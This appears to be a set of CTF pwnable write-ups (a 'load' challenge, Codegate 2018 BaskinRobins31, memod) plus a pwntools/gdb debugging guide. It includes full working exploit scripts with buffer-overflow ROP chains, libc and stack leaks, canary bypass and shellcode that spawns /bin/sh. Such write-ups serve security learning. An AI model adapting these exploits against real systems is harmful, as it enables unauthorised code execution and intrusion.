
0x00. Introduction

[*] '/home/user/load'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

0x01. Vulnerability

int __fastcall load_file_4008FD(void *buf, const char *file_name, __off_t offset, size_t size)
{
  int fd; // [rsp+2Ch] [rbp-4h]

  fd = open(file_name, 0);
  if ( fd == -1 )
    return puts("You can't read this file...");
  lseek(fd, offset, 0);
  if ( read(fd, buf, size) > 0 )
    puts("Load file complete!");
  return close(fd);
}

Looking at load_file_4008FD(), it opens the input file name, reads size bytes of content, and writes it to the buf variable in main().

If we manipulate file_name to be /proc/self/fd/0, instead of reading file contents, it reads from stdin and writes to buf.

  char buf[32]; // [rsp+0h] [rbp-30h] BYREF
  size_t size; // [rsp+20h] [rbp-10h]
  __off_t offset; // [rsp+28h] [rbp-8h]

The buf in main() is located at rbp-0x30 and we can input size as much as we want, so a BOF vulnerability occurs.

0x02. Exploit

Since there’s a BOF vulnerability, I tried to do a libc leak, but strangely neither puts() nor _printf_chk() which have PLT entries produced any output.

So I debugged and confirmed that the return value of puts() was -1, indicating that some error had occurred. While searching for when such errors occur, I found information that this can happen when there’s a problem with stdout, then I found…

int close_4008D8()
{
  close(0);
  close(1);
  return close(2);
}

After load_file_4008FD() ends and before main() terminates, a function called close_4008D8() is called, which closes stdout. So after diligent googling, I learned that we can revive stdout by opening /dev/tty.

The problem was where to place /dev/tty and pass it to open(). During the process of putting /proc/self/fd/0 in file_name to trigger the BOF vulnerability, I thought I could add a \x00 and pass /dev/tty.

    # open("/dev/tty", O_RDWR | O_CREAT)
    payload_open = p64(ppr)
    payload_open += p64(66)                     # pop rsi
    payload_open += p64(0)                      # pop r15
    payload_open += p64(pr)
    payload_open += p64(bp['file_name'] + 0x10) # pop rdi
    payload_open += p64(elf.plt['open'])

I confirmed that putting the above payload 3 times in the ROP chain created 0, 1, and 2 in /proc/self/fd/ in order.

Although I succeeded in leaking this way, even after reviving stdin, I failed to send the next payload. So my concern was that even if I leaked, I couldn’t provide the next input, so I needed to give input at once to open -> read -> write the flag all at once, but there’s no rdx related gadget.

Which means I can’t control size, the third argument of read, so after doing open("flag", 'r'); I had to pray that the rdx value would be large enough to read the contents… When I actually checked, the rdx value after open finished was 0.

I spent a long time thinking about how to output…

  load_file_4008FD(buf, byte_601040, offset, size);

Fortunately, there was a function in the code section that performs the same logic!

rdi: Using pop rdi; ret; gadget, byte_601040 which is a free space
rsi: Using pop rsi; pop r15; ret; gadget, location of flag inserted when triggering BOF
rdx: 0 after open finishes
rcx: 0x7ffff7e9e53b after open finishes (sufficiently large value)

By controlling the registers this way, I was able to output the flag.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = True
BINARY = "load"
LIBRARY = "libc.so.6"

pr = 0x0000000000400a73
ppr = 0x0000000000400a71
bp = {
    'read_of_load_file' : 0x400966,
    'main' : 0x400817,
    'end_of_main' : 0x4008A8,
    'close' : 0x4008D8,
    'read_str' : 0x400986,
    'file_name' : 0x601040,
    'load_file' : 0x4008FD,
}

gs = f'''
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def send_msg(s, msg):
    print(s.recvuntil(b": "))
    s.sendline(msg.encode())

def main():
    if(len(sys.argv) > 1):
        s = process(BINARY)
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    send_msg(s, "/proc/self/fd/0\x00/dev/tty\x00flag\x00")
    send_msg(s, "0")
    send_msg(s, "1024")

    payload = b"A" * 0x30
    payload += b"B" * 8

    # open("/dev/tty", O_RDWR | O_CREAT)
    payload_open = p64(ppr)
    payload_open += p64(66)                     # pop rsi
    payload_open += p64(0)                      # pop r15
    payload_open += p64(pr)
    payload_open += p64(bp['file_name'] + 0x10) # pop rdi
    payload_open += p64(elf.plt['open'])

    # open 3 times -> open 0, 1, 2
    payload += payload_open * 3

    # load_file_4008FD(byte_601040, "flag", offset, size)
    payload += p64(ppr)
    payload += p64(bp['file_name'] + 0x19)      # pop rsi
    payload += p64(0)                           # pop r15
    payload += p64(pr)
    payload += p64(bp['file_name'])             # pop rdi
    payload += p64(bp['load_file'])

    # puts(byte_601040)
    payload += p64(pr)
    payload += p64(bp['file_name'])             # pop rdi
    payload += p64(elf.plt['puts'])

    log.info(f"payload length : {hex(len(payload))}")
    s.sendline(payload)
    pause()
    print(s.recv().split(b"\n")[2])

if __name__=='__main__':
    main()

Codegate CTF 2018 Qual - BaskinRobins31

2024-07-09T00:00:00+00:00

0x00. Introduction

[*] '/home/user/BaskinRobins31'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Concept

This challenge implements a reverse Baskin Robbins game where you choose a number from 1 to 3 (important), subtract it from 31, and the person who calls the last number 0 loses.

0x01. Vulnerability

__int64 __fastcall your_turn(_DWORD *a1)
{
  ...
  char buf[160]; // [rsp+10h] [rbp-B0h] BYREF

  len = read(0, buf, 0x190uLL);
  ...
}

The vulnerability is simple: a buffer overflow occurs in your_turn() where I input data.

0x02. Exploit

    payload = b"1" + b"A" * 0xaf
    payload += b"B" * 8          # sfp
    payload += p64(bp['pppr'])
    payload += p64(1)
    payload += p64(elf.got['write'])
    payload += p64(8)
    payload += p64(elf.plt['write'])
    payload += p64(bp['main'])
    s.sendline(payload)

    s.recvn(len(payload) + 3)
    libc = u64(s.recv(1024)[0:6] + b"\x00\x00") - lib.symbols['write']
    system = libc + lib.symbols['execve']
    log.info(f"libc : {hex(libc)}")
    log.info(f"system : {hex(system)}")

Since BOF is possible, I performed a libc leak using ROP and successfully obtained the address of execve. Initially, I proceeded with the exploit using the address of system, but a segmentation fault occurred, possibly due to stack alignment issues. Switching to execve made it work.

The problem was how to pass /bin/sh to execve. While I could find and pass it from libc, I solved this with a stack leak using environ.

    payload = b"2" + b"C" * 0xaf
    payload += b"D" * 8
    payload += p64(bp['pppr'])
    payload += p64(1)
    payload += p64(libc + lib.symbols['environ'])
    payload += p64(8)
    payload += p64(elf.plt['write'])
    payload += p64(bp['main'])
    s.sendline(payload)

    s.recvn(len(payload) + 3)
    environ = u64(s.recv(1024)[1:7] + b"\x00\x00")
    log.info(f"environ : {hex(environ)}")
    log.info(f"binsh : {hex(environ - 0x1d0)}")

This way, I retrieved the stack address stored in environ, calculated the offset difference with buf+0x8, placed the /bin/sh string at buf+0x8, and passed it as an argument to the execve function.

    payload = b"3" + b"E" * 7
    payload += b"/bin/sh\x00"                   # buf + 0x8
    payload += b"F" * (0xb0 - len(payload))
    payload += b"G" * 8
    payload += p64(bp['pppr'])
    payload += b"H" * 0x18
    payload += p64(bp['pppr'])
    payload += p64(environ - 0x1d0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(system)
    s.sendline(payload)

    s.interactive()

However, in the final payload, when reaching the pppr gadget, only the rsi value became strange and the shell kept failing to spawn.

➜  0x40097a <your_turn+214>  ret
    ↳   0x40087a <helper+4>       pop    rdi
        0x40087b <helper+5>       pop    rsi
        0x40087c <helper+6>       pop    rdx
        0x40087d <helper+7>       ret
gef➤  x/4gx $rsp
0x7fffffffe188: 0x000000000040087a      0x00007fffffffe0d8
0x7fffffffe198: 0x00000000fffffffd      0x000000000000000

At first, I was confused and just solved it by calling the pppr gadget twice…

.text:000000000040095D  mov     rax, [rbp+var_B8]
.text:0000000000400964  mov     eax, [rax]
.text:0000000000400966  sub     eax, [rbp+choice]

It turned out that while playing the Baskin Robbins game, the value I entered was being decremented lol

So I thought, “Wait, why did it work fine before?” and checked…

write(1, write_got, 8 - 1);
write(1, write_got, 8 - 2);

In the previous ROP payload, the size argument of write was reduced by 1 and 2, but it was fine since the address doesn’t use all 8 bytes anyway lol

I structured the dummy differently when writing the payload to identify which payload was being sent, but I didn’t expect such a butterfly effect…

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = True
BINARY = "BaskinRobins31"
LIBRARY = "libc.so.6"

bp = {
    'main' : 0x0000000000400a4b,
    'end_of_main' : 0x0000000000400b5a,
    'your_turn' : 0x00000000004008a4,
    'end_of_your_turn' : 0x000000000040097a,
    'pppr' : 0x40087a,                          # pop rdi; pop rsi; pop rdx
}

gs = f'''
b *{bp['end_of_your_turn']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.recv(1024)

    payload = b"1" + b"A" * 0xaf
    payload += b"B" * 8          # sfp
    payload += p64(bp['pppr'])
    payload += p64(1)
    payload += p64(elf.got['write'])
    payload += p64(8)
    payload += p64(elf.plt['write'])
    payload += p64(bp['main'])
    s.sendline(payload)

    s.recvn(len(payload) + 3)
    libc = u64(s.recv(1024)[0:6] + b"\x00\x00") - lib.symbols['write']
    system = libc + lib.symbols['execve']
    log.info(f"libc : {hex(libc)}")
    log.info(f"system : {hex(system)}")

    payload = b"2" + b"C" * 0xaf
    payload += b"D" * 8
    payload += p64(bp['pppr'])
    payload += p64(1)
    payload += p64(libc + lib.symbols['environ'])
    payload += p64(8)
    payload += p64(elf.plt['write'])
    payload += p64(bp['main'])
    s.sendline(payload)

    s.recvn(len(payload) + 3)
    environ = u64(s.recv(1024)[1:7] + b"\x00\x00")
    log.info(f"environ : {hex(environ)}")
    log.info(f"binsh : {hex(environ - 0x1d0)}")

    payload = b"3" + b"E" * 7
    payload += b"/bin/sh\x00"
    payload += b"F" * (0xb0 - len(payload))
    payload += b"G" * 8
    payload += p64(bp['pppr'])
    payload += b"H" * 0x18
    payload += p64(bp['pppr'])
    payload += p64(environ - 0x1d0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(system)
    s.sendline(payload)

    s.interactive()

if __name__=='__main__':
    main()

memod

2024-07-08T00:00:00+00:00

0x00. Introduction

[*] '/home/user/memod'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

Goal

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ...
  fd = open("/dev/urandom", 0);

  read(fd, &canary_backup, 4u);
  canary = canary_backup;

  if ( memcmp(&canary_backup, &canary, 4u) )
  {
    puts("***** ERROR! Stack Smash Attempt .. *****");
    exit(-1);
  }
  ...
}

A 4-byte random value is read from /dev/urandom to the global variable canary_backup, which is stored in the local variable canary and compared at the end. If the value has changed, the process will be terminated, so this must be bypassed.

0x01. Vulnerability

  char s[256]; // [esp+10h] [ebp-128h] BYREF
  fgets(s, 512, stdin);

The first thing I noticed was a BOF occurs in variable s, which is stored in ebp-0x128. But the canary still needs to be bypassed as mentioned.

  char file[32]; // [esp+110h] [ebp-28h] BYREF
  int fd; // [esp+130h] [ebp-8h]

  for ( i = 0; i <= 32; ++i )
  {
    s[0] = getchar();
    if ( s[0] - (unsigned int)'0' > 9 )
    {
      file[i] = 0;
      break;
    }
    file[i] = s[0];
  }

The next thing I noticed was the condition of the for loop. Since the file array is 32 bytes and the condition is i <= 32, in the last loop, file[32] points to the lowest byte of fd.

0x02. Exploit

The problem that arise when fd is overwritten by exploiting the above vulnerailities are as follows.

  fd = open("/dev/urandom", 0);
  read(fd, &canary_backup, 4u);
  canary = canary_backup;

The fd that was holding file descriptor opened by open() is changed to a strange value. There could be 2 options. One is to overwrite fd with 0 and input stdin; and the other is to overwrite fd with a strange value so that no value will be written to canary_backup.

Therefore, if I cover fd with a strange value and put 0x00000000 in the local variable canary, I can pass mcmcmp().

[*] '/home/user/memod'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

Now I tried to execute shell via shellcode, since the NX bit was off. But there was no point to leak stack address… I found the stack leak technique using the environ variable in libc, so I used this one for the exploit.

Of course, using ROP is another solution, so I also wrote payload using mprotect().

0x03. Payload

Payload Using `environ`

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = True
BINARY = "memod"
LIBRARY = "libc.so.6"

bp = {
    'read_of_main' : 0x08048703,
    'fgets_of_main' : 0x804875a,
    'canary_backup' : 0x08049b2c,
    'end_of_main' : 0x080487ce,
}

gs = f'''
b *{bp['fgets_of_main']}
b *{bp['end_of_main']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    # leak libc
    s.send(b"1" * 33)                   # overwrite fd
    s.recv(1024)

    payload = b"A" * 0x124              # dummy
    payload += b"\x00\x00\x00\x00"      # canary
    payload += b"BBBB"                  # sfp
    payload += p32(elf.plt['puts'])     # ret #1
    payload += p32(0x080485e4)          # ret #2 (pop ret gadget)
    payload += p32(elf.got['write'])    # argument #1
    payload += p32(elf.symbols['main']) # ret #3
    s.sendline(payload)
    r = s.recv(1024)
    libc = u32(r[0:4]) - lib.symbols["write"]
    environ = libc + lib.symbols['environ']
    log.info(f"libc : {hex(libc)}")
    log.info(f"environ : {hex(environ)}")

    # leak stack
    s.send(b"2" * 33)                   # overwrite fd
    s.recv(1024)

    payload = b"C" * 0x124              # dummy
    payload += b"\x00\x00\x00\x00"      # canary
    payload += b"DDDD"                  # sfp
    payload += p32(elf.plt['puts'])     # ret #1
    payload += p32(0x080485e4)          # ret #2 (pop ret gadget)
    payload += p32(environ)             # argument #1
    payload += p32(elf.symbols['main']) # ret #3
    s.sendline(payload)
    r = s.recv(1024)
    stack = u32(r[0:4])
    log.info(f"stack : {hex(stack)}")

    # execute shellcode
    s.send(b"3" * 33)
    s.recv(1024)

    payload = asm(shellcraft.execve("/bin/sh", 0, 0))   # shellcode
    payload += b"E" * (0x124 - len(payload))            # dummy
    payload += b"\x00\x00\x00\x00"                      # canary
    payload += b"FFFF"                                  # sfp
    payload += p32(stack - 0x1cc)                       # ret #1 (&shellcode)
    s.sendline(payload)

    s.interactive()

if __name__=='__main__':
    main()

Payload Using `mprotect`

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = True
BINARY = "memod"
LIBRARY = "libc.so.6"

bp = {
    'read_of_main' : 0x08048703,
    'fgets_of_main' : 0x804875a,
    'canary_backup' : 0x08049b2c,
    'end_of_main' : 0x080487ce,
    'mprotect' : 0xf7e9f020,
}

gs = f'''
b *{bp['end_of_main']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    # leak libc
    s.send(b"1" * 33)                   # overwrite fd
    s.recv(1024)

    payload = b"A" * 0x124              # dummy
    payload += b"\x00\x00\x00\x00"      # canary
    payload += b"BBBB"                  # sfp
    payload += p32(elf.plt['puts'])     # ret #1
    payload += p32(0x080485e4)          # ret #2 (pr gadget)
    payload += p32(elf.got['write'])    # argument #1
    payload += p32(elf.symbols['main']) # ret #3
    s.sendline(payload)
    r = s.recv(1024)
    libc = u32(r[0:4]) - lib.symbols["write"]
    mprotect = libc + lib.symbols['mprotect']
    read = libc + lib.symbols['read']
    log.info(f"libc : {hex(libc)}")
    log.info(f"mprotect : {hex(mprotect)}")
    log.info(f"read : {hex(read)}")

    # add permission using mprotect
    s.send(b"2" * 33)                   # overwrite fd
    s.recv(1024)

    payload = b"C" * 0x124              # dummy
    payload += b"\x00\x00\x00\x00"      # canary
    payload += b"DDDD"                  # sfp
    payload += p32(mprotect)            # ret #1
    payload += p32(0x08048836)          # ret #2 (pppr gadget)
    payload += p32(bp['canary_backup'] & 0xfffff000) # argument #1
    payload += p32(0x1000)              # argument #2
    payload += p32(0x7)                 # argument #3
    payload += p32(read)                # ret #3
    payload += p32(bp['canary_backup']) # ret #4
    payload += p32(0)                   # argument #1
    payload += p32(bp['canary_backup']) # argument #2
    payload += p32(0x100)               # argument #3
    s.sendline(payload)

    # send shellcode
    payload = asm(shellcraft.execve("/bin/sh", 0, 0))
    s.sendline(payload)

    s.interactive()

if __name__=='__main__':
    main()

Automating GDB Debugging with Pwntools

2024-05-31T00:00:00+00:00

0x00. Introduction

When solving pwnable challenges, I primarily use pwntools for scripting and gdb for debugging. Usually, you’d spawn a process and attach gdb from another terminal - but with pwntools and tmux, we can automate all of this within the script itself.

0x01. Debugging with pwntools

Spawning Process

BINARY = ""
LIBRARY = ""

# for remote
s = remote(server, port)
# for local
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})

Use remote for remote, and process for local to run and connect to processes. Especially, remote is used not only when connecting to actual servers but also when connecting to locally running docker.

Open Debugger

The attach function from pwntools’ gdb module lets you attach a debugger to a running process:

bp = {
    'main' : 0x555555555249,
    'end_of_main' : 0x5555555552d3,
    'foo' : 0x55555555566f,
}

gs = f'''
b *{bp['main']}
continue
'''

gdb.attach(s, gs)

The second argument takes a gdb script, so you can automate setting breakpoints and continuing code flow.

Also, you can attach debugger to a process inside of docker with pid, using the following script:

CONTAINER = ""

pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY)

With this script, it is possible to minimize the difference between local and remote environment. However, errors can occasionally occur when inside and outside of container has permissions that don’t match (see Permission Error).

Set Terminal

You need to configure where the attached debugger shows up. Simple enough with the context module’s terminal variable - just pick your preferred layout:

context.terminal = ['tmux', 'splitw', '-h']     # split current window horizontally
context.terminal = ['tmux', 'splitw', '-v']     # split current window vertically
context.terminal = ['tmux', 'splitw', '-hf']    # split entire window horizontally
context.terminal = ['tmux', 'splitw', '-vf']    # split entire window vertically

I know it’s pretty old-fashioned, but I’ve been using tmux since it’s pretty clean. You should also note that you’re actually running inside a tmux session before executing the script (see Tmux Session Error).

0x02. Conclusion

Here’s the final script I use as my exploit.py template:

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = ""
LIBRARY = ""
CONTAINER = ""
code_base = 0x555555554000
bp = {
    'main' : code_base + 0x16ae,
}

gs = f'''
b *{bp["main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

The main function takes three arguments. If -p or --port is provided, it connects remotely. Otherwise, it runs locally for debugging:

➜  python3 exploit.py -p 7777
➜  python3 exploit.py --port 7777

When you’re done debugging, pass 0 to -d or --debug to run without a debugger:

➜  python3 exploit.py -d 0
➜  python3 exploit.py --debug 0

Finally, to hit the actual server, pass the domain or IP to -s or --server - and definitely disable debugging:

➜  python3 exploit.py -s server.com -d 0
➜  python3 exploit.py --server x.x.x.x --debug 0

Side note: I’m already doing from pwn import *, but I explicitly import the packing functions again on line 2 because vscode doesn’t seem to find them. Otherwise it shows annoying underlines.

0x03. Troubleshooting

Permission Error

GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.10
Reading symbols from challenge...
(No debugging symbols found in challenge)
Attaching to program: /home/user/challenge, process 165353
Could not attach to process.  If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user.  For more details, see /etc/sysctl.d/10-ptrace.conf
ptrace: Operation not permitted.
/home/user/challenge/165353: No such file or directory.
/tmp/pwnlib-gdbscript-kd8sfrgq.gdb:4: Error in sourced command file:
The program is not being run.
gef➤

When debugging a process inside of docker, the error above might occurs sometimes. If we take a closer look at the error, it’s something to do with permission. Printing out the current process list is as follows:

➜  ps -ef | grep challenge
root      165261  165241  0 16:01 ?        00:00:00 /bin/sh -c socat TCP-LISTEN:8794,reuseaddr,fork EXEC:/home/ctf/challenge
root      165284  165261  0 16:01 ?        00:00:00 socat TCP-LISTEN:8794,reuseaddr,fork EXEC:/home/ctf/challenge
root      165521  165284  0 16:05 ?        00:00:00 socat TCP-LISTEN:8794,reuseaddr,fork EXEC:/home/ctf/challenge
root      165524  165521  0 16:05 ?        00:00:00 /home/ctf/challenge
user      165545   66182  0 16:05 pts/9    00:00:00 /usr/bin/gdb -q challenge 165524 -x /tmp/pwnlib-gdbscript-webj6wb7.gdb

The debugger opened via python script is executed with user permission, whereas the target process challenge is executed with root permission. In this case attaching to the process fails, so the following lines should be added to Dockerfile.

RUN /usr/sbin/useradd -u 1000 ctf
USER ctf

You should note that the uid above should be identical with the user’s, who is running the python script. In the case of Ubuntu 24.04, for example, the user ubuntu is preempting uid 1000, possibly causing error because a new user will have uid 1001.

Tmux Session Error

This is what greeted me when I first ran the script:

➜  python3 exploit.py
[+] Starting local process './challenge': pid 3886107
[*] running in new terminal: ['/usr/bin/gdb', '-q', './challenge', '3886107', '-x', '/tmp/pwnjmmmxq9k.gdb']
Traceback (most recent call last):
  File "/home/user/exploit.py", line 133, in <module>
    main()
  File "/home/user/exploit.py", line 60, in main
    gdb.attach(s, gs)
  File "/home/user/.local/lib/python3.10/site-packages/pwnlib/context/__init__.py", line 1581, in setter
    return function(*a, **kw)
  File "/home/user/.local/lib/python3.10/site-packages/pwnlib/gdb.py", line 1100, in attach
    gdb_pid = misc.run_in_new_terminal(cmd, preexec_fn = preexec_fn)
  File "/home/user/.local/lib/python3.10/site-packages/pwnlib/util/misc.py", line 413, in run_in_new_terminal
    pid = int(out)
ValueError: invalid literal for int() with base 10: b''
[*] Stopped process './challenge' (pid 3886107)

The error hit at gdb.attach(s, gs) with a type issue, so I spent way too long thinking it was a pid datatype mismatch. Turns out it was something completely different.

The script tries to create a terminal in a tmux session - but there was no active tmux session to attach to. I naively assumed it would just create one automatically…

➜  tmux
➜  python3 exploit.py